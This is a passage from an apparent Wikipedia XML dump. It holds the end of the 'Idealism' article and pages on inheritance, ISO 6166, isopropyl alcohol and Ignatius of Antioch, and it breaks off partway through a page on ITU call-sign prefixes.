Edwards, an American theologian, went to [[Yale University]] in [[1716]] at the age of thirteen. After reading [[Locke]]'s doctrine of ideas, he kept a notebook entitled &quot;Mind.&quot; In it, he wrote, at the age of fourteen, that the only things that are real are minds. He contended that [[matter]] exists only as an [[idea]] in a mind. Due to his theological manner of thinking, he asserted that space is God, due to its infinity. After adolescence, he never elaborated on these early idealistic notes.

====Immanuel Kant====
[[Immanuel Kant]] held that the mind shapes the world as we perceive it to take the form of space-and-time.  Kant focused on the idea drawn from British [[empiricism]] (and its philosophers such as [[John Locke|Locke]], [[George Berkeley|Berkeley]], and [[David Hume|Hume]]) that all we can know is the mental impressions, or ''[[phenomena]]'', that an outside world which may or may not exist independently creates in our minds; our minds can never perceive that outside world directly.  Kant's postscript to this added that the mind is not a [[blank slate]] (contra [[John Locke]]), but rather comes equipped with [[category|categories]] for organising our sense impressions.  This Kantian sort of idealism opens up a world of abstractions (i.e., the universal categories minds use to understand phenomena) to be explored by reason, but in sharp contrast to Plato's, confirms uncertainties about a (un)knowable world outside our own minds.  We cannot approach the ''[[noumenon]]'', the &quot;Thing in Itself&quot; ([[German language|German]]: ''Ding an Sich'') outside our own mental world.  (Kant's idealism goes by the counterintuitive name of ''[[transcendental idealism]]''.)

====Fichte====
[[Johann Gottlieb Fichte|Johann Fichte]] denied Kant's noumenon, and made the claim that consciousness made its own foundation, that the mental ego of the self relied on no external, and that an external of any kind would be the same as admitting a real material. He was the first to make the attempt at a presuppositionless theory of knowledge, wherein nothing outside of thinking would be assumed to exist outside the initial analysis of concept. So that conception could be solely grounded in itself, and assume nothing without deduction from there first, what he called a [[Wissenschaftslehre]]. (This stand is very similar to [[Giovanni Gentile]]'s [[Actual Idealism]], except that Gentile's theory goes further by denying a ground for even an ego or self made from thinking.)

====Hegel====
[[Georg Wilhelm Friedrich Hegel|Hegel]], another philosopher whose system has been called ''idealism'', thought that history must be rational in something significantly like the way science is.  His famous dictum &quot;[[the Real is Rational]]&quot; means that [[reason]] is the arbiter that shapes the world as it is, and gives us access to what is real.  Hegel's idealism posits that since ideas about reality are products of the [[mind]], there must be a mind at work in the universe that establishes reality and gives it structure.  Hegelian idealism goes by the name of ''[[absolute idealism]]''.

====Schopenhauer====
In the first volume of his ''Parerga and Paralipomena'', [[Schopenhauer]] wrote his &quot;Sketch of a [[History]] of the Doctrine of the [[Ideal]] and the [[Real]]&quot;. He defined the ideal as being mental pictures that constitute subjective [[knowledge]]. The ideal, for him, is what can be attributed to our own minds. The images in our head are what comprise the ideal. Schopenhauer emphasized that we are restricted to our own [[consciousness]]. The [[world]] that appears there is only a [[representation]] or mental picture of objects. We directly and immediately know only representations. All objects that are external to the mind are known indirectly through the mediation of our [[mind]]. 

Schopenhauer's history is an account of the [[concept]] of the &quot;ideal&quot; in its meaning as &quot;ideas in a subject's mind.&quot; In this sense, &quot;ideal&quot; means &quot;ideational&quot; or &quot;existing in the mind as an image.&quot; He does not refer to the other meaning of &quot;ideal&quot; as being qualities of the highest perfection and excellence.

====British idealism====
[[British idealism]] enjoyed ascendancy in English-speaking philosophy in the later part of the 19th century. [[F. H. Bradley]] of [[Merton College]], [[Oxford university|Oxford]], saw reality as a [[monism|monistic]] whole, which is apprehended through &quot;feeling&quot;, a state in which there is no distinction between the perception and the thing perceived. Bradley was the apparent target of [[G. E. Moore]]'s radical rejection of idealism. 

[[J. M. E. McTaggart]] of [[University of Cambridge|Cambridge University]], argued that minds alone exist, and that they only relate to each other through love. [[Space]], [[time]] and material objects are for McTaggart unreal. He argued, for instance, in ''[[The Unreality of Time]]'' that it was not possible to produce a coherent account of a sequence of events in time, and that therefore time is an illusion.

American philosopher [[Josiah Royce]] described himself as an [[objective idealism|objective idealist]]. 
&lt;!-- relationship with Husserl, phenomenology, existentialism, post modernism --&gt;

====Karl Pearson====
In ''[[The Grammar of Science]]'', Preface to the 2nd Edition, [[1900]], [[Karl Pearson]] wrote, &quot;There are many signs that a sound idealism is surely replacing, as a basis for natural philosophy, the crude [[materialism]] of the older physicists.&quot; This book influenced [[Albert Einstein|Einstein]]'s regard for the importance of the observer in scientific measurements. In § 5 of that book, Pearson asserted that &quot;...science is in reality a classification and analysis of the contents of the [[mind]]....&quot; Also, &quot;...the field of science is much more [[consciousness]] than an external world.&quot;

===Critique of Idealism===
====G. E. Moore====
The most influential criticism of Idealism is [[G._E._Moore | Moore]]'s 1903 book, ''The Refutation of Idealism''. This was the first application of Moore's analytic philosophical method, which greatly influenced [[Analytic philosophy]]. 

Moore proceeds by examining the Berkeleian aphorism ''esse est percipi'': &quot;to be is to be perceived&quot;. He examines in detail each of the three terms in the aphorism, finding that it must mean that the object and the subject are ''necessarily'' connected. So, he argues, for the idealist, &quot;yellow&quot; and &quot;the sensation of yellow&quot; are necessarily identical - to be yellow is necessarily to be experienced as yellow. But, in a move similar to the [[open question argument]], it also seems clear that there is a difference between &quot;yellow&quot; and &quot;the sensation of yellow&quot;. For Moore, the idealist is in error because &quot;that ''esse'' is held to be ''percipi'', solely because what is experienced is held to be identical with the experience of it&quot;.&lt;!-- This could be improved by someone with a better background in Moore - please help! --&gt;

====David Stove====
The [[Australia]]n philosopher [[David Stove]] argued in typically acerbic style that idealism rested on what he called &quot;the worst argument in the world&quot;. He named one version of this argument, deriving from Berkeley, &quot;the Gem&quot;. Berkeley claimed that &quot;(the mind) is deluded to think it can and does conceive of bodies existing unthought of, or without the mind, though at the same time they are apprehended by, or exist in, itself&quot;.  Stove argued that this claim proceeds from the tautology that nothing can be thought of without its being thought of, to the conclusion that nothing can exist without its being thought of. Presented in this way, the argument is not even a syllogism - hardly an argument at all.

====John Searle====
In ''The Construction of Social Reality'' [[John Searle]] offers an attack on some versions of idealism. Searle conveniently summarises two important arguments for idealism. The first is based on our perception of reality:

:''1. All we have access to in perception are the contents of our own experiences''

:''2. The only epistemic basis we can have for claims about the external world are our perceptual experiences''

therefore,

:''3. the only reality we can meaningfully speak of is the reality of perceptual experiences (''The Construction of Social Reality'' p. 172)''

Whilst agreeing with (2), Searle argues that (1) is false, and points out that (3) does not follow from (1) and (2). 

The second argument for idealism runs as follows:

:''Premise: Any cognitive state occurs as part of a set of cognitive states and within a cognitive system''

:''Conclusion 1: It is impossible to get outside of all cognitive states and systems to survey the relationships between them and the reality they are used to cognize''

:''Conclusion 2: No cognition is ever of  a reality that exists independently of cognition (''The Construction of Social Reality'' p. 174)''

Searle goes on to point out that conclusion 2 simply does not follow from its precedents.

===Idealism in religious thought===
Not all [[religion]] and belief in the [[supernatural]] is, strictly speaking, anti-materialist in nature. While many types of religious belief are indeed specifically idealist, for example, [[Hinduism|Hindu]] beliefs about the nature of the [[Brahman]], [[Zen]] Buddhism stands in the middle way of [[dialectics]] between idealism and materialism, and mainstream [[Christianity|Christian]] doctrine affirms the importance of the materiality of [[Christ]]'s human body and the necessity of self-restraint when dealing with the material world.  

Several modern religious movements and texts, for example the organisations within the [[New Thought Movement]] (especially the [[Unity Church]]) and the book, ''[[A Course in Miracles]]'', may be said to have a particularly idealist orientation. The [[theology]] of [[Church of Christ, Scientist|Christian Science]] is explicitly idealist.

More accurately, Idealism is based on the root word &quot;Ideal,&quot; meaning a perfect form of, and is most accurately described as a belief in perfect forms of virtue, truth, and the absolute. Idea-ism may be a more appropriate term for the definitions listed above. There is a clear distinction between an idea and an ideal (i.e. Websters Dictionary says &quot;conforming exactly to an ideal, law, or standard: perfect.&quot;).
idealism in comparison to pragmatism

==Other uses==
In general parlance, &quot;idealism&quot; or &quot;idealist&quot; is also used to describe a person having high [[ideal (ethics)|ideals]], sometimes with the connotation that those ideals are unrealisable or at odds with &quot;practical&quot; life. 

The word &quot;ideal&quot; is commonly used as an adjective to designate qualities of perfection, desirability, and excellence. This is foreign to the epistemological use of the word &quot;idealism&quot; which pertains to internal [[mental]] [[representations]]. These internal ideas represent objects that are assumed to exist outside of the mind.

==See also==
*[[J. M. E. McTaggart|McTaggart, John]] ''The Unreality of Time'', available at [[wikisource:The Unreality of Time]]
*[[Solipsism]], which is related to epistemological idealism. 

{{Philosophy navigation}}


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  <page>
    <title>Inheritance</title>
    <id>15430</id>
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      <id>38088740</id>
      <timestamp>2006-02-04T02:28:30Z</timestamp>
      <contributor>
        <ip>66.220.97.91</ip>
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      <text xml:space="preserve">{{otheruses}}

'''Inheritance''' is the practice of passing on [[property]], [[title]]s, [[debt]]s, and [[obligation]]s upon the death of an individual.  It has long played an extremely important role in human societies.  

Both [[anthropology]] and [[sociology]] have made detailed studies in this area.  Many cultures feature [[patrilineal]] succession, also known as [[gavelkind]], where only male children can inherit.  Some cultures also employ [[matrilineal]] succession only passing property along the female line.  Even more radical than the patrilineal succession is the practice of [[primogeniture]], under which all property goes to the eldest child, or often the eldest son (the first-born). Conversely there are also systems where everything is left to the youngest child. Some ancient societies and most modern states employ [[partible inheritance]], under which every child inherits (usually equally). There was also mixed systems:
* in Swedish culture beginning from 13th century and up until 19th century, a son inherited twice as much as his sister. This rule was introduced by the Regent [[Birger Jarl]], and it was regarded as an improvement in its era, since daughters were previously usually left without.
* among ancient [[Israelite]]s, the eldest son received twice as much as the other sons.
Many states have [[inheritance tax]]es, under which a portion of any estate goes to the [[government]], though the government technically is not an heir.  

Employing differing forms of succession can effect many areas of society.  Gender roles are profoundly affected by inheritance laws and traditions.  Primogeniture has the effect of keeping large estates united and thus perpetuating an elite.  With partible inheritance large estates are slowly divided among many descendants and great wealth is thus diluted, leaving higher opportunities to individuals to make a success. (If great wealth is not diluted, the positions in society tend to be much more fixed and opportunities to make an individual success are lower.)

Inheritance can be organized in a way that its use is restricted by the desires of someone (usually of the decedent). An inheritance may have been organized as a [[fideicommission]], which usually cannot be sold or diminished, only its profits are disposable. A fideicommission's succession can also be ordered in a way that determines it long (or eternally) also with regard to persons born long after the original decedent. Cf also [[trust (property)|trust]]. [[Royal succession]] has typically been more or less a fideicommission, the realm not (easily) to be sold and the rules of succession not to be (easily) altered by a holder (a monarch).

In more [[archaic]] days, particularly the possession of inherited [[land (economics)|land]] has been much more like a family trust than a property of an individual. Yet quite recently in many European countries, sale of the whole of or a significant portion of a farm required consent from certain heirs, and/or heirs had the intervening right to obtain the land in question with same sales conditions as in the sales agreement in question.

In [[common law]] jurisdictions an ''heir'' is a person who is entitled to receive a share of the decedent's property via the rules of inheritance in the [[jurisdiction]] where the decedent died or owned property at the time of his death. Strictly speaking, one only becomes an heir upon the death of the related person: it was improper to speak of the &quot;heir&quot; of a living person since the exact identity of the persons entitled to inherit would not be determined until the time of death. However, it is not totally wrong to speak about &quot;heir&quot; during the lifetime of the decedent at least in cases where the heir has such a position that only her/his own demise before, may prevent becoming a heir at the death (for example, if the birth of another person cannot take away the position as a heir) - this is a [[heir apparent]].

==See also==


* [[Intestacy]]
* [[Majorat]]
* [[Nobility]]
* [[Order of succession]]
* [[Probate]]
* [[Royal family]]
* [[Will (law)]]
* [[Remainderman]]
[[Category:Family law]]
[[Category:Property law]]

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[[nl:Nalatenschap]]</text>
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    <title>ISO 6166</title>
    <id>15432</id>
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      <id>40200509</id>
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      <contributor>
        <ip>213.172.122.138</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">'''[[International Organization for Standardization|ISO]] 6166''' defines the structure of an International Securities Identifying Number ([[ISIN]]). An ISIN uniquely identifies a fungible security. Securities with which ISINs can be used include debt securities, shares, options, derivatives and futures.

ISINs consist of two alphabetic characters, which are the [[ISO 3166-1]] code for the issuing country, nine alpha-numeric digits (the National Securities Identifying Number, or NSIN, which identifies the security), and one numeric check digit. The NSIN is issued by a national numbering agency (NNA) for that country. Regional substitute NNAs have been allocated the task of functioning as NNAs in those countries where NNAs have not yet been established.

ISINs are slowly being introduced worldwide. At present, many countries have adopted ISINs as a secondary measure of identifying securities, but as yet only some of those countries have moved to using ISINs as their primary means of identifying securities.

NNAs cooperate through the [[Association of National Numbering Agencies]] (ANNA). ANNA also functions as the ISO 6166 [[Maintenance agency|Maintenance Agency]] (MA).

==External links==
*[http://www.anna-web.com/ Association of National Numbering Agencies] &amp;ndash; has more information on ISO 6166
*[http://www.pruefziffernberechnung.de/I/ISIN.shtml  Prüfziffernberechnung in der Praxis] &amp;ndash; site in German; describes in detail how to construct the ISIN from the NSIN

[[Category:ISO standards|#06166]]

[[de:ISO 6166]]</text>
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    <title>Interlingue</title>
    <id>15433</id>
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      <id>15912907</id>
      <timestamp>2004-03-30T03:18:12Z</timestamp>
      <contributor>
        <username>Jorge Stolfi</username>
        <id>48742</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Occidental language]]</text>
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  <page>
    <title>Isopropyl alcohol</title>
    <id>15434</id>
    <revision>
      <id>41561306</id>
      <timestamp>2006-02-28T03:59:24Z</timestamp>
      <contributor>
        <username>Big . Joe</username>
        <id>628532</id>
      </contributor>
      <text xml:space="preserve">&lt;!-- Here is a table of data; skip past it to edit the text. --&gt;
{| align=&quot;right&quot; border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;3&quot; style=&quot;margin: 0 0 0 0.5em; background: #FFFFFF; border-collapse: collapse; border-color: #C0C090;&quot;
! {{chembox header}} | {{PAGENAME}} &lt;!-- replace if not identical with the article name --&gt;
|-
| align=&quot;center&quot; colspan=&quot;2&quot; | [[Image:2-propanol.png|200px|{{PAGENAME}}]]
|-
! {{chembox header}} | General
|- 
| [[IUPAC nomenclature|Systematic name]]
| Propan-2-ol
|-
| Other names
| 2-propanol, isopropanol,&lt;br/&gt;Isopropyl alcohol
|-
| [[Chemical formula|Molecular formula]]
| C&lt;sub&gt;3&lt;/sub&gt;H&lt;sub&gt;8&lt;/sub&gt;O
|-
| [[Simplified molecular input line entry specification|SMILES]]
| CC(O)C
|-
| [[Molar mass]]
| 60.10 g/mol
|-
| Appearance
| Colorless liquid
|-
| [[CAS registry number|CAS number]]
| 67-63-0
|-
! {{chembox header}} | Properties
|-
| [[Density]] and [[Phase (matter)|phase]]
| 0.78 g/cm&lt;sup&gt;3&lt;/sup&gt;, liquid &lt;!-- ? g/cm&lt;sup&gt;3&lt;/sup&gt;, solid / ? g/ml, liquid / ? g/l, gas --&gt;
|-
| [[Soluble|Solubility]] in [[Water_(molecule)|water]]
| Fully [[miscible]]
|-
| Solubility in [[brine]]
| Slightly soluble
|-
| In [[ethanol]], [[diethyl ether|ether]]&lt;br/&gt; In [[acetone]], [[toluene]]
| Fully miscible&lt;br/&gt; Soluble
|-
| [[Melting point]]
| -88 °C (185 K)
|-
| [[Boiling point]]
| 82 °C (355 K)
|-
| [[Acid dissociation constant|Acidity]] (p''K''&lt;sub&gt;a&lt;/sub&gt;)
| 16.5 for H on [[hydroxyl]]
|-
| [[Viscosity]]
| 2.86 c[[Poise|P]] at 15 °C&lt;br/&gt;1.77  c[[Poise|P]] at 30 °C
|-
| [[Dipole#Molecular_dipoles|Dipole moment]]
| 1.66 [[Debye|D]] (gas)
|-
! {{chembox header}} | Hazards &lt;!--  Summary only- MSDS entry provides more complete information --&gt;
|-
| [[Material safety data sheet|MSDS]]
| [[{{PAGENAME}} chemdata supplement#Material Safety Data Sheet|External MSDS]] &lt;!-- please replace with proper link--&gt;
|-
| Main [[Worker safety and health|hazard]]s
| Flammable
|-
| [[NFPA 704]]
| [[Image:nfpa_h1.png]][[Image:nfpa_f3.png]][[Image:nfpa_r0.png]]
|-
| [[Flash point]]
| 12 °C
|-
| [[Risk and Safety Statements|R/S statement]]
| R: 11-36-67&lt;br/&gt; S: 7-16-24/25-26
|-
| [[RTECS]] number
| NT8050000
|-
! {{chembox header}} | [[{{PAGENAME}} chemdata supplement|Supplementary data page]]
|-
| [[{{PAGENAME}} chemdata supplement#Structure and properties|Structure and&lt;br/&gt;properties]] 
| [[Refractive index|''n'']], [[Dielectric constant|''&amp;epsilon;&lt;sub&gt;r&lt;/sub&gt;'']], etc. 
|-
| [[{{PAGENAME}} chemdata supplement#Thermodynamic properties|Thermodynamic&lt;br/&gt;data]] 
| Phase behaviour&lt;br&gt;Solid, liquid, gas 
|-
| [[{{PAGENAME}} chemdata supplement#Spectral data|Spectral data]]
| [[UV/VIS spectroscopy|UV]], [[Infrared spectroscopy|IR]], [[NMR spectroscopy|NMR]], [[Mass spectrometry|MS]]
|-
! {{chembox header}} | Related compounds
|-
| Related [[alcohol]]s
| [[1-Propanol|1-propanol]],&lt;br/&gt;[[ethanol]], [[2-Butanol|2-butanol]]
|-
| Other compounds 
| [[acetone]], [[propylene]],&lt;br/&gt;
[[diisopropyl ether]],&lt;br/&gt;
[[2-bromopropane]]
|-
| {{chembox header}} | &lt;small&gt;Except where noted otherwise, data are given for&lt;br&gt; materials in their [[standard state|standard state (at 25&amp;deg;C, 100 kPa)]]&lt;br/&gt;[[wikipedia:Chemical infobox|Infobox disclaimer and references]]&lt;/small&gt;
|-
|}
'''Isopropyl alcohol''' or isopropanol is a common name for '''2-propanol''', a colorless, flammable [[chemical compound]] with a strong odor.  It has the [[chemical formula]] CH&lt;sub&gt;3&lt;/sub&gt;CHOHCH&lt;sub&gt;3&lt;/sub&gt;, and is the simplest example of a [[Alcohol#Primary.2C_secondary.2C_and_tertiary_alcohols|''secondary alcohol'']], where the alcohol carbon is attached to two other carbons.  It is an [[isomer]] of [[propan-1-ol]].

==Uses==
[[Sterilization (microbiology)|Sterilizing]] pads typically contain a 60-70% [[solution]] of isopropanol in [[water (molecule)|water]]. Isopropyl alcohol is also commonly used as a [[cleaner]] and [[solvent]] in industry.  It is also used as a [[gasoline]] additive for dissolving water or ice in fuel lines. Isopropanol is the main ingredient in [[rubbing alcohol]]. It is used as a [[disinfectant]], and is a common solvent.

Isopropanol is a major ingredient in &quot;dry-gas&quot; [[fuel additive]].  In significant quantities, [[water]] is a problem in fuel tanks as it separates from the gasoline.  If the engine tried to combust the water instead of gasoline serious engine problems could result.  The isopropanol does not remove the water from the gasoline.  Rather, the isopropanol solubilizes the water in the gasoline.  Once [[soluble]], the water does not pose the same risk as insoluble water.

It is also a very good cleaning agent and often used for cleaning [[electronics|electronic]] devices such as contact pins (like those on [[Read-only memory|ROM]] [[Cartridge (electronics)|cartridges]]), [[magnetic tape]] deck and [[floppy disk]] drive heads, the lenses of [[lasers]] in [[optical disc]] drives (e.g. [[CD]], [[DVD]]) and removing [[thermal paste]] from [[central processing unit|CPU]]s. It is also used to clean [[computer monitor]]s, and used by many music shops to give second-hand or worn [[records]] a newer looking sheen.

==Chemistry==
Isopropyl alcohol forms an [[azeotrope]] with water at 87.4% alcohol. It is impossible to dehydrate isopropanol further using non-[[azeotropic distillation]]. For this reason, more expensive means, such as using a [[drying agent]], are necessary for production of 100% isopropyl alcohol.

Being a secondary alcohol, isopropanol can be [[Redox|oxidised]] to [[acetone]].  This can be achieved using oxidising agents such as [[chromic acid]], or by [[dehydrogenation]] of isopropanol over a heated copper [[catalyst]]:

(CH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt;CH-OH  &amp;rarr;  [[Acetone|(CH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt;C=O]]  +  [[Hydrogen|H&lt;sub&gt;2&lt;/sub&gt;]]

Isopropanol may be converted to [[2-bromopropane]] using [[phosphorus tribromide]], or dehydrated to [[propylene]] by heating with [[sulfuric acid]].  With [[sodium hydroxide]] and a [[halogen]], or with [[sodium hypochlorite]], it undergoes the [[haloform reaction]].  This means it would give a positive result for an [[iodoform test]].  

Isopropanol is often used as a [[hydride]] source in the [[Meerwein-Ponndorf-Verley reduction]].

Like most alcohols, isopropyl alcohol reacts with active [[metal]]s such as [[potassium]] to form [[alkoxide]]s which can be called ''isopropoxides''.  The reaction with [[aluminium]] (initiated by a trace of [[Mercury_(element)|mercury]]) is used to prepare the catalyst [[aluminium isopropoxide]].

Isopropanol has a maximal [[absorbance]] at 204 nm in an [[Ultraviolet-visible spectroscopy|ultraviolet-visible]] spectrum.

==Safety==
Isopropyl alcohol is [[flammable]].  It should be kept away from heat and open flame.  

Isopropyl alcohol is oxidized by the liver into [[acetone]]. [[Symptom]]s of isopropyl alcohol poisoning include [[flushing (physiology)|flushing]], [[headache]], [[dizziness]], [[Clinical depression|CNS depression]], [[nausea]], [[vomiting]], [[anesthesia]], and [[coma]].  Use in well-ventilated areas and use protective gloves while using.  Poisoning can occur from ingestion, inhalation, or absorption.

==Medicine/Toxicology==
Isopropyl alcohol does NOT cause an [[anion gap]] [[acidosis]] (like [[ethanol]] or [[methanol]]).  It produces an elevated [[osmolal gap]], but generally no abnormal anion gap (though this may be seen as a result of [[hypotension]] and [[lactic acidosis]]).  Overdoses may cause a fruity, [[acetone]] like odor on the breath.

==External links==
* [http://www.embbs.com/cr/alc/alc5.html Isopropyl Alcohol information page]

[[Category:Alcohols]]
[[Category:Solvents]]

[[de:2-Propanol]]
[[es:Propan-2-ol]]
[[ja:イソプロパノール]]
[[lv:Izopropanols]]
[[ru:Изопропиловый спирт]]
[[fr:isopropanol]]</text>
    </revision>
  </page>
  <page>
    <title>Ignatius of Antioch</title>
    <id>15435</id>
    <revision>
      <id>41703739</id>
      <timestamp>2006-03-01T04:13:52Z</timestamp>
      <contributor>
        <ip>209.78.16.88</ip>
      </contributor>
      <comment>add template Christian theology</comment>
      <text xml:space="preserve">[[Image:Ignatius.jpg|thumb|Icon of Ignatius being eaten by lions]]
{{Christian theology}}

'''St. Ignatius of Antioch''' (died somewhere between AD [[98]] - AD [[117]] as a martyr in Rome) was the third Bishop or [[Patriarch of Antioch]], after [[Saint Peter]] and [[Evodius]], who died around AD [[68]]. [[Eusebius]], (''Historia Eccl.'', II.iii.22) records that Ignatius succeeded Euodius. Making his apostolic succession even more immediate, [[Theodoret]] (''Dial. Immutab.'', I, iv, 33a) reported that Peter himself appointed Ignatius to the see of Antioch. 

Ignatius, who also called himself '''Theophorus''' (&quot;bearer of God&quot;), was most likely a disciple of both [[Apostle|Apostles]] Peter and [[John the Apostle|John]]. 

Ignatius is generally considered to be one of the [[Apostolic Fathers]] (the earliest authoritative group of the [[Church Fathers]]) and a [[saint]] by both the [[Catholicism|Catholic]], who celebrate his feast day on [[February 1]] (pre-1970 Calendar) and [[October 17]] (post-1970 Calendar), and the [[Eastern Orthodoxy|Orthodox]] and [[Eastern Catholic]] churches, who celebrate his feast day on [[December 20]]. Ignatius based his authority on living his life in imitation of Christ.

Ignatius was arrested by the Roman authorities and transported to [[Rome]] under trying conditions:
:''&quot;From Syria even to Rome I fight with wild beasts, by land and sea, by night and by day, being bound amidst ten leopards, even a company of soldiers, who only grow worse when they are kindly treated.&quot;'' &amp;mdash; Ignatius to the Romans,5.
His fate: to die a martyr in the arena. The Roman authorities hoped to make an example of him and thus discourage [[Christianity]] from spreading.

Instead, he met with and encouraged Christians who flocked to meet him all along his route, and he wrote seven letters to the churches in the region (and one to a fellow bishop).

The seven authentic letters are: 

*1)To the [[Ephesus|Ephesians]]
*2)To the [[Magnesia on the Maeander|Magnesians]]
*3)To the [[Tralles|Trallians]]
*4)To the [[Rome|Romans]]
*5)To the [[Amman|Philadephians]]
*6)To the [[Smyrna|Smyrnaeans]]
*7)To [[Polycarp|Polycarp, Bishop of Smyrna]]

By the 5th century, this authentic collection had been enlarged by spurious letters, and the original letters had been improved with interpolations, created to posthumously enlist Ignatius as an unwitting witness in theological disputes of that age, while the purported eye-witness account of his martyrdom is also thought to be a forgery from around the same time.

A detailed but spurious account of Ignatius' arrest and his travails and martyrdom is the material of the ''Martyrium Ignatii'' which is presented as being an eyewitness account for the church of Antioch, and as if written by Ignatius' companions, Philo of Cilicia, deacon at Tarsus, and Rheus Agathopus, a Syrian. Though [[Bishop Ussher]] regarded it as genuine, if there is any genuine nucleus of the ''Martyrium'', it has been so greatly expanded with interpolations that no part of it is without questions. Its most reliable manuscript is the 10th century Codex Colbertinus (Paris), in which the ''Martyrium'' closes the collection. The ''Martyrium'' presents the confrontation of the bishop Ignatius with [[Trajan]] at Antioch, a familiar [[trope]] of ''Acta'' of the martyrs, and many details of the long, partly overland voyage to Rome.

After Ignatius' martyrdom in the [[Colosseum|Flavian Amphitheatre]], his remains were honorably carried back to Antioch by his companions, and were first interred outside the city gates, then removed by the Emperor [[Theodosius II]] to the Tychaeum, or Temple of [[Tyche]] which was converted into a Christian church dedicated to Ignatius. In 637 the relics were translated to St Clement's, Rome.

The letters of Ignatius have proved to be important testimony to the development of Christian [[theology]], since the number of extant writings from this period of church history is very small. They bear signs of being written in great haste and without a proper plan, such as [[run-on sentence]]s and an unsystematic succession of thought. Ignatius is the first known Christian writer to put great stress on loyality to a single [[bishop]] in each city, who is assisted by both [[presbyter]]s ([[priest]]s) and [[deacon]]s. Earlier writings only mention ''either'' bishops ''or'' presbyters, and give the impression that there was usually more than one bishop per congregation.
:''&quot;Plainly therefore we ought to regard the bishop as the Lord Himself&quot;'' [IEph6:1] ''&quot;your godly bishop&quot;'' ''&quot;the bishop presiding after the likeness of God and the presbyters after the likeness of the council of the Apostles, with the deacons also who are most dear to me, having been entrusted with the diaconate of Jesus Christ&quot;'' ''&quot;Therefore as the Lord did nothing without the Father, [being united with Him], either by Himself or by the Apostles, so neither do ye anything without the bishop and the presbyters.&quot;'' ''&quot;Be obedient to the bishop and to one another, as Jesus Christ was to the Father [according to the flesh], and as the Apostles were to Christ and to the Father, that there may be union both of flesh and of spirit.&quot;'' [IMag2:1,6:1,7:1,13:2] ''&quot;In like manner let all men respect the deacons as Jesus Christ, even as they should respect the bishop as being a type of the Father and the presbyters as the council of God and as the college of Apostles. Apart from these there is not even the name of a church.&quot;'' [ITr3:1] ''&quot;follow your bishop, as Jesus Christ followed the Father, and the presbytery as the Apostles; and to the deacons pay respect, as to God's commandment&quot;'' ''&quot;He that honoureth the bishop is honoured of God; he that doeth aught without the knowledge of the bishop rendereth service to the devil&quot;'' [ISmy8:1,9:1], [[Joseph Barber Lightfoot|Lightfoot]] translation

Ignatius stressed the value of the [[eucharist]], calling it &quot;a medicine to immortality&quot;. The very strong desire for bloody martyrdom in the arena, which Ignatius expresses rather graphically in places, may seem quite odd to the modern reader, but an examination of his theology of [[soteriology]] shows that he regarded salvation as being from the power and fear of death.  So, for him, to try to escape his martyrdom would be to fear death and place himself back under its power. 

Ignatius is claimed to be the first known Christian writer to advocate replacing the [[Sabbath]] with the [[Lord's Day]]:
:''&quot;If then those who had walked in ancient practices attained unto newness of hope, no longer observing Sabbaths but fashioning their lives after the Lord's day, on which our life also arose through Him and through His death which some men deny -- a mystery whereby we attained unto belief, and for this cause we endure patiently, that we may be found disciples of Jesus Christ our only teacher&quot;'' &amp;mdash; Ignatius to the Magnesians 9.1, [[Joseph Barber Lightfoot|Lightfoot]] translation. 

He is also responsible for the first known use of the word &quot;Catholic&quot; to describe the church, saying 
:''&quot;Wherever the bishop shall appear, there let the multitude[of the people] also be; even as, wherever Jesus Christ is, there is the Catholic Church.&quot;'' (Epistle to the Smyrmaeans, Chapter VIII)



==External links==
* [http://www.earlychristianwritings.com/ignatius.html Early Christian writings]: on-line texts of Ignatius' letters
* [http://www.newadvent.org/cathen/07644a.htm ''Catholic Encyclopedia'':] St Ignatius of Antioch; the manuscript traditions and the controversy over authenticity
* [http://www.cogwriter.com/ignatius.htm Another Look at Ignatius and the Sabbath] This includes a translation and discussion of other portions of Ignatius' Letters and the Didache 
* [http://www.romanity.org/htm/rom.11.en.the_ecclesiology_of_st._ignatius_of_antioch.01.htm The Ecclesiology of St. Ignatius of Antioch] by Fr. John S. Romanides

{{start box}}
{{succession box|
before=[[Saint Evodius|Evodius]]|
title=[[List of Patriarchs of Antioch|Patriarch of Antioch]]|
years=[[68]]—[[107]]|
after=[[Saint Heron]]}}
{{end box}}


[[Category:Christian martyrs]] [[Category:Ancient Roman Christianity]] [[Category:Patriarchs of Antioch]] [[Category:100s deaths]]

[[cs:Ignác z Antiochie]]
[[de:Ignatius von Antiochien]]
[[fi:Ignatios]]
[[fr:Ignace d'Antioche]]
[[hu:Antiochiai Szent Ignác]]
[[it:Sant'Ignazio di Antiochia]]
[[nl:Ignatius van Antiochië]]
[[no:Ignatius av Antiokia]]
[[pl:Ignacy Antiocheński]]
[[sk:Ignác Antiochijský]]
[[sv:Ignatios av Antiochia]]</text>
    </revision>
  </page>
  <page>
    <title>ITU prefix</title>
    <id>15437</id>
    <revision>
      <id>40381721</id>
      <timestamp>2006-02-20T04:24:45Z</timestamp>
      <contributor>
        <username>NinjaStrider</username>
        <id>961119</id>
      </contributor>
      <minor />
      <text xml:space="preserve">The [[International Telecommunication Union|ITU]] allocates [[call sign]] [[prefix]]es for [[radio station|radio]] and [[television station|television]] stations of all types. These prefixes are agreed upon internationally, and are a form of [[country code]].  A call sign can be any number of letters and numerals but each country must only use call signs that begin with the characters allocated for use in that country.

A few countries do not fully comply with these rules.  Australia drops the VL prefix for broadcast stations, and Canada uses Chile's CB for its own [[Canadian Broadcasting Corporation]] stations.

With regard to the second and/or third letters in the prefixes in the list below, if the country in question is allocated all callsigns with A to Z in that position, then that country can also use call signs with the digits 0 to 9 in that position. For example, the [[United States]] is assigned KA&amp;ndash;KZ, and therefore can also use prefixes like KA1 or K5. 

Many large countries in turn have internal rules on how and where specific subsets of their callsigns can be used (such as Mexico's XE for AM and XH for FM broadcasting), which are not covered here.

==Fictional call signs==

The following ranges of call signs are not used, so can be used as examples and as call signs of [[fictional country|fictional countries]]. &lt;small&gt;Note: List not complete.&lt;/small&gt;

*A0&amp;ndash;A1
*C0&amp;ndash;C1
*D0&amp;ndash;D1
*E0&amp;ndash;E1
*H0&amp;ndash;H1
*H5
*E6&amp;ndash;E9
*Q[''anything''] (no codes beginning with '''[[Q]]''' are used&amp;mdash;they get confused with [[Q Codes]])
*O0&amp;ndash;O9
